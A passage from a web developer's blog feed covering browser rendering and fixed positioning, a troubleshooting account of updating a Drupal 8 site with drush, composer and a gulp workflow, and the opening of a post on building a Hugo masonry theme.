&lt;p&gt;Now, we come to &lt;code&gt;fixed&lt;/code&gt;. A fixed box usually uses the viewport as its containing block. Common use-case for this is sticky headers or footers, where we usually slap on &lt;code&gt;position: fixed&lt;/code&gt; on those elements and call it a day.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;However&lt;/em&gt;, there are situations where the containing block is the nearest ancestor&apos;s padding box. This only occurs when the ancestor fulfils any of the following conditions:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;A &lt;code&gt;transform&lt;/code&gt; or &lt;code&gt;perspective&lt;/code&gt; value other than &lt;code&gt;none&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;A &lt;code&gt;will-change&lt;/code&gt; value of &lt;code&gt;transform&lt;/code&gt; or &lt;code&gt;perspective&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;A &lt;code&gt;filter&lt;/code&gt; value other than &lt;code&gt;none&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;A &lt;code&gt;will-change&lt;/code&gt; value of &lt;code&gt;filter&lt;/code&gt; (only for Firefox)&lt;/li&gt;
&lt;li&gt;A &lt;code&gt;contain&lt;/code&gt; value of &lt;code&gt;paint&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;To better understand why, let&apos;s segue into some browser internals. Just superficially. Because I&apos;m as far away from being a browser engineer as I am from living on the moon. &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;first-quarter moon&quot;&gt;🌓&lt;/span&gt;&lt;/p&gt;
&lt;h2&gt;Browser rendering&lt;/h2&gt;
&lt;p&gt;My favourite explanation of how a CSS engine works is by &lt;a href=&quot;https://twitter.com/linclark&quot;&gt;Lin Clark&lt;/a&gt; in &lt;a href=&quot;https://hacks.mozilla.org/2017/08/inside-a-super-fast-css-engine-quantum-css-aka-stylo/&quot;&gt;Inside a super fast CSS engine: Quantum CSS (aka Stylo)&lt;/a&gt;, so do check that out. Generally, all CSS engines go through the process of parse → style → layout → paint → composite &amp;amp; render.&lt;/p&gt;
&lt;img src=&quot;/images/posts/css-positioning/css-engine.svg&quot; alt=&quot;Steps every CSS engines take&quot;&gt;
&lt;p&gt;For a really in-depth look into how browser internals work, I recommend &lt;a href=&quot;https://taligarsiel.com/&quot;&gt;Tali Garsiel&lt;/a&gt;&apos;s &lt;a href=&quot;https://www.html5rocks.com/en/tutorials/internals/howbrowserswork/#Layout&quot;&gt;How Browsers Work: Behind the scenes of modern web browsers&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Other than the DOM tree, browsers also construct a render tree, which represents where elements should go on a page based on information like width, height and position, and how it should look. Every CSS property value is calculated for every element in the document.&lt;/p&gt;
&lt;p&gt;Layout involves the computation of position and size of all the boxes. Paint renders the boxes (with all their visual styles) as pixels on your screen. This can happen on multiple layers. Composite mushes the layers together, applies compositor-only styles then renders it all on the screen.&lt;/p&gt;
&lt;p&gt;Keep in mind this is a very simplified description. I don&apos;t think “mush” is a technical term.&lt;/p&gt;
&lt;p&gt;Have you ever heard folks say there are certain CSS properties that are “safe” to animate, and others that are not? If you haven&apos;t, please refer to &lt;a href=&quot;https://www.html5rocks.com/en/tutorials/speed/high-performance-animations/&quot;&gt;High Performance Animations&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The TL:DR of that article is that if you have to animate something, use either &lt;code&gt;transform&lt;/code&gt; or &lt;code&gt;opacity&lt;/code&gt; wherever possible. These are the compositor-only properties. Everything else is more expensive. Think of the above diagram as those toddler toy stacking ring things.&lt;/p&gt;
&lt;img src=&quot;/images/posts/css-positioning/stacking-toy.jpg&quot; srcset=&quot;/images/posts/css-positioning/stacking-toy@2x.jpg 2x&quot; alt=&quot;Stacking wooden toy thingy&quot;&gt;
&lt;p&gt;Rendering is more or less sequential, so when I say expensive, think about how you would replace one of these rings. If compositing happens again, that&apos;s all the browser has to do. But as you go earlier in the sequence, the browser has to do more work.&lt;/p&gt;
&lt;img src=&quot;/images/posts/css-positioning/stacking.svg&quot; alt=&quot;Effort required&quot;&gt;
&lt;p&gt;So properties like &lt;code&gt;position&lt;/code&gt;, &lt;code&gt;display&lt;/code&gt;, and even &lt;code&gt;font-size&lt;/code&gt; will trigger layout. Properties like &lt;code&gt;color&lt;/code&gt; or &lt;code&gt;background-position&lt;/code&gt; will trigger paint. As of time of writing, only &lt;code&gt;transform&lt;/code&gt;s and &lt;code&gt;opacity&lt;/code&gt; are fully handled by the compositor. You can check the full list at &lt;a href=&quot;http://goo.gl/lPVJY6&quot;&gt;http://goo.gl/lPVJY6&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Having work being handled by the compositor helps performance because modern browsers have two threads of execution, main and compositor. Layout and paint is done on the main thread while the compositing and rendering is done on the compositor thread, by the GPU.&lt;/p&gt;
&lt;p&gt;The main thread is very busy. It has a lot of stuff to calculate. But it&apos;s pretty good at that, much power, all compute. GPUs aren&apos;t that great at quick computation, but they are great at drawing stuff.&lt;/p&gt;
&lt;p&gt;Drawing pixels to the screen? No problem. Drawing the same bitmap of pixels to the screen repeatedly? Piece of cake. Transforming that same bitmap of pixels into different positions, rotations or scale? Easy-peasy-lemon-squeezy.&lt;/p&gt;
&lt;p&gt;By now, some of you might be like, omg when is she gonna get to the point??&lt;/p&gt;
&lt;p&gt;We-ll… the point was covered at the beginning of this post.&lt;/p&gt;
&lt;p&gt;So let&apos;s talk about scrolling!&lt;/p&gt;
&lt;h2&gt;Scroll performance&lt;/h2&gt;
&lt;p&gt;Have you wondered what happens when you scroll a page? Doesn&apos;t it feel like there are magical elves rotating a long ream of content, like those player piano things?&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/css-positioning/piano-480.jpg 480w, /images/posts/css-positioning/piano-640.jpg 640w, /images/posts/css-positioning/piano-960.jpg 960w, /images/posts/css-positioning/piano-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/css-positioning/piano-640.jpg&quot; alt=&quot;Vintage player piano&quot;&gt;
&lt;p&gt;As Paul Lewis explains in &lt;a href=&quot;https://www.html5rocks.com/en/tutorials/speed/unnecessary-paints/&quot;&gt;Avoiding Unnecessary Paints&lt;/a&gt;, every time you scroll up or down a browser, content needs to be repainted before it appears on screen. And paint work will affect performance.&lt;/p&gt;
&lt;p&gt;I did the opposite of burying the lede earlier, so you would have realised (if had read the first part) why &lt;code&gt;background-attachment: fixed&lt;/code&gt; performs much worse than if you moved the background image to its own layer and fixed that instead. Minimal repainting. That&apos;s what it does.&lt;/p&gt;
&lt;p&gt;That being said, I&apos;m not sure how much browser have since improved and optimised the rendering process and if that has made some of these techniques obsolete? I&apos;d like to think they still help, because we have yet to see any radical changes in the rendering process.&lt;/p&gt;
&lt;p&gt;Would love for someone to tell me more about rendering performance in today&apos;s latest browsers. *hint, hint*&lt;/p&gt;
&lt;h2&gt;Wrapping up&lt;/h2&gt;
&lt;p&gt;I think I should stop here for now. I&apos;ve already read through the design document for &lt;a href=&quot;http://www.chromium.org/developers/design-documents/gpu-accelerated-compositing-in-chrome&quot;&gt;GPU accelerated compositing in Chrome&lt;/a&gt; and probably need to extricate myself from this rabbit hole. Don&apos;t worry, I find rendering most fascinating and will definitely revisit this again.&lt;/p&gt;
&lt;h2&gt;References&lt;/h2&gt;
&lt;ul&gt;
    &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://www.w3.org/TR/css-position-3/#def-cb&quot;&gt;CSS Positioned Layout Module Level 3&lt;/a&gt;&lt;/li&gt;
    &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/CSS/Containing_block&quot;&gt;Layout and the containing block&lt;/a&gt;&lt;/li&gt;
    &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://www.html5rocks.com/en/tutorials/internals/howbrowserswork/#Layout&quot;&gt;How Browsers Work: Behind the scenes of modern web browsers&lt;/a&gt;&lt;/li&gt;
    &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://www.html5rocks.com/en/tutorials/speed/scrolling/&quot;&gt;Scrolling Performance&lt;/a&gt;&lt;/li&gt;
    &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://www.html5rocks.com/en/tutorials/speed/unnecessary-paints/&quot;&gt;Avoiding Unnecessary Paints&lt;/a&gt;&lt;/li&gt;
    &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://blogs.adobe.com/webplatform/2014/03/18/css-animations-and-transitions-performance/&quot;&gt;CSS animations and transitions performance: looking inside the browser&lt;/a&gt;&lt;/li&gt;
    &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://dev.opera.com/articles/css-will-change-property/&quot;&gt;Everything You Need to Know About the CSS will-change Property&lt;/a&gt;&lt;/li&gt;
    &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://www.fourkitchens.com/blog/article/fix-scrolling-performance-css-will-change-property/&quot;&gt;Fix scrolling performance with CSS will-change property&lt;/a&gt;&lt;/li&gt;
    &lt;li&gt;&lt;a href=&quot;https://dassur.ma/things/forcing-layers/&quot;&gt;Layers and how to force them &lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title>Revisiting Drupal 8 After 2 Years</title><link>https://chenhuijing.com/blog/revisiting-drupal-8-after-2-years/</link><guid isPermaLink="true">https://chenhuijing.com/blog/revisiting-drupal-8-after-2-years/</guid><description>The last time I wrote about Drupal was 2017, when I built the company website for my friend&apos;s husband. It was a proper paid project, which really did come at a…</description><pubDate>Sun, 24 May 2020 02:26:25 GMT</pubDate><content:encoded>&lt;p&gt;The last time I wrote about Drupal was 2017, when I built the company website for my friend&apos;s husband. It was a proper paid project, which really did come at a good time because I was about eight months fun-employed at the time trying to get &lt;a href=&quot;http://wismutlabs.com/&quot;&gt;my own company&lt;/a&gt; off the ground.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Spoiler alert: the company still exists but more as a side-gig kind of thing.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Almost three years later, I get a ping from him asking if I could help out with some tweaks because they had since moved their focus from machinery and machine parts to servicing and wanted to update the home page content.&lt;/p&gt;
&lt;p&gt;In my mind, I was like, this shouldn&apos;t be too hard, I can totally do it in half an hour or something. So I told him I&apos;d look into it. To be fair, I was not that far off in estimating the work specific to his requirements. Less than half an hour, in fact.&lt;/p&gt;
&lt;p&gt;HOWEVER, everything before I could even get to that, was another story. A story, which I need to record down as notes to MYSELF, just in case I need to update the site again in a couple years… &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;smirking face&quot;&gt;😏&lt;/span&gt;&lt;/p&gt;
&lt;h2&gt;Some background, skip if you&apos;re bored&lt;/h2&gt;
&lt;p&gt;For some background, I did do a write-up of the project back then, but I clearly skipped over some steps that I most likely thought were trivial at the time.&lt;/p&gt;
&lt;p&gt;Fast forward to today, I had already forgot so much of setting up Drupal on one&apos;s local machine, it was like a joke that wasn&apos;t remotely funny. But I guess muscle memory is a thing, because after a couple hours of troubleshooting, things kind of came back.&lt;/p&gt;
&lt;p&gt;Or maybe it&apos;s just trauma. No, I&apos;m just kidding.&lt;/p&gt;
&lt;p&gt;I made an executive decision to host the website on &lt;a href=&quot;https://pantheon.io/&quot;&gt;Pantheon&lt;/a&gt; and this had proven to be a good decision. Very solid platform option for anyone who is still doing Drupal today.&lt;/p&gt;
&lt;p&gt;Pantheon will apply updates every time there is a new one version of Drupal released but it is up to you to commit them. The workflow is also very good IMO as you&apos;re given a three environments, dev, test and live. They provide you easy one-click options to pull your database and files between environments.&lt;/p&gt;
&lt;h2&gt;You mean you FORGOT how to setup locally?&lt;/h2&gt;
&lt;p&gt;The last time I looked at this site was (according to Git on Pantheon) 2 years ago when I updated to 8.4.2. Drupal had since moved on to 8.8.6, and there were 50 commits upstream (I think), when I first logged into the dashboard. Okay, no surprise there.&lt;/p&gt;
&lt;p&gt;First pass, just update the thing and see if I get lucky. The odds of this are very very low, but because it was a development environment I could trash I just went ahead and forced the update. No surprise that the result was:&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/sinvict-revisited/error-480.png 480w, /images/posts/sinvict-revisited/error-640.png 640w, /images/posts/sinvict-revisited/error-960.png 960w, /images/posts/sinvict-revisited/error-1280.png 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/sinvict-revisited/error-640.png&quot; alt=&quot;Generic error message on web page&quot;&gt;
&lt;p&gt;Right, I totally expected this. Local development it is. And then I realised I had forgotten ALL the things. I forgot the syntax for pointing to your database. I forgot what my SQL root password was (thank you, Keychain Access). I forgot how to recognise at first glance that PHP was not being used by Apache.&lt;/p&gt;
&lt;p&gt;Several hours later…&lt;/p&gt;
&lt;p&gt;I got some notes for future me.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;If you see the contents of &lt;code&gt;index.php&lt;/code&gt; printed verbatim on the screen, that means the web server is running fine but PHP is not.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Add a &lt;code&gt;settings.local.php&lt;/code&gt; file for pointing to your Drupal database, and in it put this stuff:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;&amp;lt;?php
// Local development configuration.
if (!defined(&apos;PANTHEON_ENVIRONMENT&apos;)) {
  // Database.
  $databases[&apos;default&apos;][&apos;default&apos;] = array(
    &apos;database&apos; =&amp;gt; &apos;DATABASE_NAME&apos;,
    &apos;username&apos; =&amp;gt; &apos;root&apos;,
    &apos;password&apos; =&amp;gt; &apos;YOUR_PASSWORD_GO_FIGURE_IT_OUT&apos;,
    &apos;host&apos; =&amp;gt; &apos;127.0.0.1&apos;,
    &apos;driver&apos; =&amp;gt; &apos;mysql&apos;,
    &apos;port&apos; =&amp;gt; 3306,
    &apos;prefix&apos; =&amp;gt; &apos;&apos;,
  );
}

$settings[&apos;hash_salt&apos;] = &apos;$HASH_SALT&apos;;
$settings[&apos;trusted_host_patterns&apos;] = array(
  &apos;^SITE_FOLDER_NAME_BECAUSE_DNSMASQ\.test&apos;,
  &apos;^localhost$&apos;,
);
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Run &lt;code&gt;drush status&lt;/code&gt; to see if things are wired up right. But if drush is throwing a million errors, add these troubleshooting bits into &lt;code&gt;index.php&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;error_reporting(E_ALL);
ini_set(&apos;display_errors&apos;, TRUE);
ini_set(&apos;display_startup_errors&apos;, TRUE);
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;When you haven&apos;t updated in a while…&lt;/h2&gt;
&lt;p&gt;After I figured out the PHP thing, I had 7.4 running. So once I got the site to load locally, I attempted an incremental update per minor version, just to try to figure out when the breaking change happened.&lt;/p&gt;
&lt;p&gt;Even though the site loaded, I had this following error printed across the top of the site no matter where I went:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Deprecated: Array and string offset access syntax with curly braces is deprecated in /Users/huijing/.composer/vendor/drush/drush/includes/sitealias.inc on line 174&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;But since the site was running, I assumed it would go away once I figured out how to update everything. Drush is a go-to tool for Drupal development for me, so there&apos;s a lot of me trying to run drush commands and getting a zillion lines of errors.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;drush pm-updatestatus
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I managed to get a list of modules that needed updating (it was all of them, come on, two years worth). But anyway, core updates first. When I got to 8.6.0, my “favourite” message showed up again.&lt;/p&gt;
&lt;p&gt;Maybe it was a conflict with some of the installed modules. So I thought updating them might help, starting alphabetically with &lt;code&gt;admin_toolar&lt;/code&gt;. Not the best idea, either.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Unable to extract /tmp/drush_tmp_1590252134_5ec95266f2f6b/admin_toolbar-8.x-2.2.tar.gz. Unknown archive format.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Can I just say that Drupal troubleshooting is simply Googling the most relevant keywords you can think of? Apparently, the new way to update your Drupal modules is to use &lt;code&gt;composer&lt;/code&gt;? I&apos;m still on drush 8.1.5, so I don&apos;t know. But I did update all my composer stuff.&lt;/p&gt;
&lt;p&gt;Anyway, I finally came across &lt;a href=&quot;https://www.drupal.org/project/drush/issues/1721334#comment-13450560&quot;&gt;this proposed solution&lt;/a&gt; in the drush issue log.&lt;/p&gt;
&lt;p&gt;Solution: Add &lt;code&gt;application/gzip&lt;/code&gt; to &lt;code&gt;drush_file_is_tarball()&lt;/code&gt; in &lt;em&gt;drush/includes/drush.inc&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;I tested on the most benign module I could find, which was &lt;strong&gt;yearonly&lt;/strong&gt; and although it wasn&apos;t as benign as I thought it was, it worked. I didn&apos;t feel like asking more questions. The site was still very down.&lt;/p&gt;
&lt;p&gt;The next module I tried to update was &lt;strong&gt;token&lt;/strong&gt;. Bad idea.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Drupal\Core\Extension\InfoParserException: Missing required keys (core) in modules/token/token.info.yml in
/Users/huijing/Sites/sinvict/core/lib/Drupal/Core/Extension/InfoParserDynamic.php:29&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;At this point, I decided to downgrade to PHP7.2 after reading multiple issue threads that 7.2 is probably a better choice for compatibility reasons? Another thing I run regardless of whether I know it will work or not is:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;drush cache-rebuild
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Moar errors.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Fatal error: Declaration of Drupal\page_manager_ui\Form\VariantPluginAddBlockForm::buildForm(array $form, Drupal\Core\Form\FormStateInterface $form_state, ?Symfony\Component\HttpFoundation\Request $request = NULL, $block_display = NULL, $block_id = NULL) must be compatible with Drupal\page_manager_ui\Form\VariantPluginConfigureBlockFormBase::buildForm(array $form, Drupal\Core\Form\FormStateInterface $form_state, $block_display = NULL, $block_id = NULL) in /Users/huijing/Sites/sinvict/modules/page_manager/page_manager_ui/src/Form/VariantPluginAddBlockForm.php on line 20&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Moar Googling. I found that someone suggested running &lt;code&gt;composer require &amp;quot;twig/twig:1.37.1&amp;quot;&lt;/code&gt; because, again, compatibility reasons.&lt;/p&gt;
&lt;p&gt;At this point, it was way past midnight. My intelligence was in the toilet, so I went to bed.&lt;/p&gt;
&lt;h2&gt;The next day…&lt;/h2&gt;
&lt;p&gt;I had reset the site so many times at this point that I decided to just bite the bullet and go up to 8.8.6 then figure shit out from there. Running &lt;code&gt;drush status&lt;/code&gt; at this point gave me this:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Symfony\Component\DependencyInjection\Exception\LogicException: Service &apos;page_manager.variant_route_filter&apos; for consumer &apos;router.no_access_checks&apos; does not implement Drupal\Core\Routing\FilterInterface. in /Users/huijing/Sites/sinvict/core/lib/Drupal/Core/DependencyInjection/Compiler/TaggedHandlersPass.php on line 164&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Drush was clearly not working out. Out the window that went. Manual downloads! Unzipping and moving folders is not that hard. And I started with &lt;strong&gt;page_manager&lt;/strong&gt; since it was the immediate error message I was seeing.&lt;/p&gt;
&lt;p&gt;After updating a module, usually we have to update the database scheme accordingly. So I tried to run &lt;code&gt;drush updatedb&lt;/code&gt;. Bad idea.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Fatal error: Declaration of Drupal\panels\Form\PanelsAddBlockForm::buildForm(array $form, Drupal\Core\Form\FormStateInterface $form_state, ?Symfony\Component\HttpFoundation\Request $request = NULL, $tempstore_id = NULL, $machine_name = NULL, $block_id = NULL) must be compatible with Drupal\panels\Form\PanelsBlockConfigureFormBase::buildForm(array $form, Drupal\Core\Form\FormStateInterface $form_state, $tempstore_id = NULL, $machine_name = NULL, $block_id = NULL) in /Users/huijing/Sites/sinvict/modules/panels/src/Form/PanelsAddBlockForm.php on line 14&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Fine, update &lt;strong&gt;panels&lt;/strong&gt; next. Update database again…&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;SQLSTATE[42S02]: Base table or view not found: 1146 Table &apos;sinvict.path_alias&apos; doesn&apos;t exist: INSERT INTO {path_alias}&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;At least the error messages are changing. That&apos;s progress, right?&lt;/p&gt;
&lt;p&gt;Moar Googling. The next problematic thing was &lt;strong&gt;pathauto&lt;/strong&gt;. But because I tried to update the database a bunch of times at this point, things were screwed. So I nuked everything for the umpteenth time and updated core, page_manager, panels AND pathauto.&lt;/p&gt;
&lt;p&gt;THEN, I ran &lt;code&gt;drush updatedb&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;ZOMG IT DID NOT FAIL &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;loudly crying face&quot;&gt;😭&lt;/span&gt;&lt;/p&gt;
&lt;h2&gt;Theme-related workflow updates&lt;/h2&gt;
&lt;p&gt;Out of everything I do on the web, the visual design and implementation of what people see and interact with on a page is the thing I love most. Custom theme creation was one of the things I specialised in during my Drupal career.&lt;/p&gt;
&lt;p&gt;I had set up a workflow involving gulp and browsersync specially for Drupal theme development, but two years down the road, the gulpfile has to be written, among some other things.&lt;/p&gt;
&lt;p&gt;Again, amnesia. I forgot that I had to enable the browsersync module on the site so the requisite script would be injected. Also, how you name your functions in the gulpfile matters. Don&apos;t use &lt;code&gt;sass&lt;/code&gt; at the function name.&lt;/p&gt;
&lt;p&gt;Anyway, this is what the full updated gulpfile looks like.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;var gulp = require(&amp;quot;gulp&amp;quot;);
var browserSync = require(&amp;quot;browser-sync&amp;quot;);
var sass = require(&amp;quot;gulp-sass&amp;quot;);
var prefix = require(&amp;quot;gulp-autoprefixer&amp;quot;);
var concat = require(&amp;quot;gulp-concat&amp;quot;);
var babel = require(&amp;quot;gulp-babel&amp;quot;);
var cp = require(&amp;quot;child_process&amp;quot;);

/**
 * Server functionality handled by BrowserSync
 */
function browserSyncServe(done) {
  browserSync.init({
    // Change as required, also remember to set in theme settings
    proxy: &amp;quot;sinvict.test&amp;quot;,
    port: 5400,
  });
  done();
}

function browserSyncReload(done) {
  browserSync.reload();
  done();
}

/**
 * @task sass
 * Compile files from scss
 */
function styles() {
  return gulp
    .src(&amp;quot;_scss/styles.scss&amp;quot;)
    .pipe(sass())
    .pipe(prefix([&amp;quot;last 3 versions&amp;quot;, &amp;quot;&amp;gt; 1%&amp;quot;, &amp;quot;ie 8&amp;quot;], { cascade: true }))
    .pipe(gulp.dest(&amp;quot;css&amp;quot;))
    .pipe(browserSync.reload({ stream: true }));
}

/**
 * @task scripts
 * Compile files from js
 */
function scripts() {
  return gulp
    .src([&amp;quot;_js/custom.js&amp;quot;])
    .pipe(
      babel({
        presets: [&amp;quot;@babel/preset-env&amp;quot;],
      })
    )
    .pipe(concat(&amp;quot;scripts.js&amp;quot;))
    .pipe(gulp.dest(&amp;quot;js&amp;quot;))
    .pipe(browserSync.reload({ stream: true }));
}

/**
 * @task clearcache
 * Clear all caches
 */
function clearcache(done) {
  return cp.spawn(&amp;quot;drush&amp;quot;, [&amp;quot;cache-rebuild&amp;quot;], { stdio: &amp;quot;inherit&amp;quot; }).on(&amp;quot;close&amp;quot;, done);
}

/**
 * @task reload
 * Refresh the page after clearing cache
 */
var reload = gulp.series(clearcache, browserSyncReload);

/**
 * @task watch
 * Watch scss files for changes &amp;amp; recompile
 * Clear cache when Drupal related files are changed
 */
function watchMarkup() {
  gulp.watch([&amp;quot;templates/*.html.twig&amp;quot;, &amp;quot;**/*.yml&amp;quot;], reload);
}

function watchScripts() {
  gulp.watch([&amp;quot;_js/*.js&amp;quot;], scripts);
}

function watchStyles() {
  gulp.watch([&amp;quot;_scss/*.scss&amp;quot;, &amp;quot;_scss/**/*.scss&amp;quot;], styles);
}

var compile = gulp.parallel(styles, scripts);
var serve = gulp.series(compile, browserSyncServe);
var watch = gulp.parallel(watchMarkup, watchScripts, watchStyles);

/**
 * Default task, running just `gulp` will
 * compile Sass files, launch BrowserSync &amp;amp; watch files.
 */
gulp.task(&amp;quot;default&amp;quot;, gulp.parallel(serve, watch));
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Wrapping up&lt;/h2&gt;
&lt;p&gt;So, future me reading this, the next time you touch Drupal again, it might be a Drupal 9 project and none of this will be relevant any more. Who knows? But at least this time, you made it work.&lt;/p&gt;
&lt;img src=&quot;/images/posts/sinvict-revisited/nice-comment.jpg&quot; srcset=&quot;/images/posts/sinvict-revisited/nice-comment@2x.jpg 2x&quot; alt=&quot;Satisfied stakeholder after all was done and dusted&quot;&gt;</content:encoded></item><item><title>The one in black and orange</title><link>https://chenhuijing.com/blog/the-one-in-black-and-orange/</link><guid isPermaLink="true">https://chenhuijing.com/blog/the-one-in-black-and-orange/</guid><description>It&apos;s been a couple months since my last proper &quot;ship-to-production&quot; layout project (the last one being the React Knowledgeable website, subscribe to their…</description><pubDate>Wed, 06 May 2020 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;It&apos;s been a couple months since my last proper &amp;quot;ship-to-production&amp;quot; layout project (the last one being the &lt;a href=&quot;https://reactknowledgeable.org/&quot;&gt;React Knowledgeable&lt;/a&gt; website, subscribe to their &lt;a href=&quot;https://www.youtube.com/reknowledgeable&quot;&gt;YouTube channel&lt;/a&gt; if you haven&apos;t &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;red heart&quot;&gt;❤️&lt;/span&gt;). For me, there are numerous mental models for structuring a project&apos;s CSS, depending on the purpose of the site, the stack it&apos;s built on, the number of people working on it and so on.&lt;/p&gt;
&lt;p&gt;There is no one RIGHT way of doing things because as mentioned, it depends on many factors. And it is my professional duty to make an informed choice that best suits the project at hand. That being said, I am human and I do have a personal favourite style. I annoyingly call it, &lt;strong&gt;Artisanal CSS&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;**Proceeds to nimbly avoid Avocado Toasts and Quinoa Salads being thrown in my direction**&lt;/p&gt;
&lt;video controls autoplay muted loop&gt;
  &lt;source src=&quot;/videos/duck.mp4&quot; type=&quot;video/mp4&quot; /&gt;
  Sorry, your browser doesn&apos;t support embedded videos. Sorry, your browser doesn&apos;t support embedded videos,
  but don&apos;t worry, you can &lt;a href=&quot;/videos/duck.mp4&quot;&gt;download it&lt;/a&gt;and watch it with your
  favourite video player!
&lt;/video&gt;
&lt;p&gt;So my mate, &lt;a href=&quot;https://twitter.com/lakatos88&quot;&gt;Alex&lt;/a&gt;, decided to also migrate his site to Hugo and wanted a new theme. Apparently most people don&apos;t like to build themes, I wonder why… &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;thinking face&quot;&gt;🤔&lt;/span&gt; Anyway, I built my career on creating bespoke themes so this is totally my jam.&lt;/p&gt;
&lt;h2&gt;The process&lt;/h2&gt;
&lt;p&gt;Just kidding, there wasn&apos;t really a process. It was more of a build and tweak kind of methodology. So the seed keyword here was: “Masonry”.&lt;/p&gt;
&lt;p&gt;If your definition of the word is the building of structures from individual units, which are often laid in and bound together by mortar, then I suggest reading this &lt;a href=&quot;https://css-tricks.com/piecing-together-approaches-for-a-css-masonry-layout/&quot;&gt;CSS tricks article on Approaches for a CSS Masonry Layout &lt;/a&gt;&lt;/p&gt;
&lt;p&gt;But the TL:DR explanation is a layout of unevenly-sized items without any excess gaps between items. And since each of the articles on the list would be a sort of card-style, &lt;a href=&quot;https://www.w3.org/TR/css-multicol-1/&quot;&gt;CSS Multi-column Layout&lt;/a&gt; would work nicely for this.&lt;/p&gt;
&lt;p&gt;Here&apos;s the before version of the home page:&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/hugo-theme/original-480.png 480w, /images/posts/hugo-theme/original-640.png 640w, /images/posts/hugo-theme/original-960.png 960w, /images/posts/hugo-theme/original-1280.png 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/hugo-theme/original-640.png&quot; alt=&quot;Pre-migration alexlakatos.com home page&quot;&gt;
&lt;p&gt;And one of the article pages:&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/hugo-theme/original2-480.png 480w, /images/posts/hugo-theme/original2-640.png 640w, /images/posts/hugo-theme/original2-960.png 960w, /images/posts/hugo-theme/original2-1280.png 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/hugo-theme/original2-640.png&quot; alt=&quot;Pre-migration alexlakatos.com article page&quot;&gt;
&lt;p&gt;When I cloned down the repo, Alex had already managed to get his content to render without any styles. A literal blank slate. Beautiful.&lt;/p&gt;
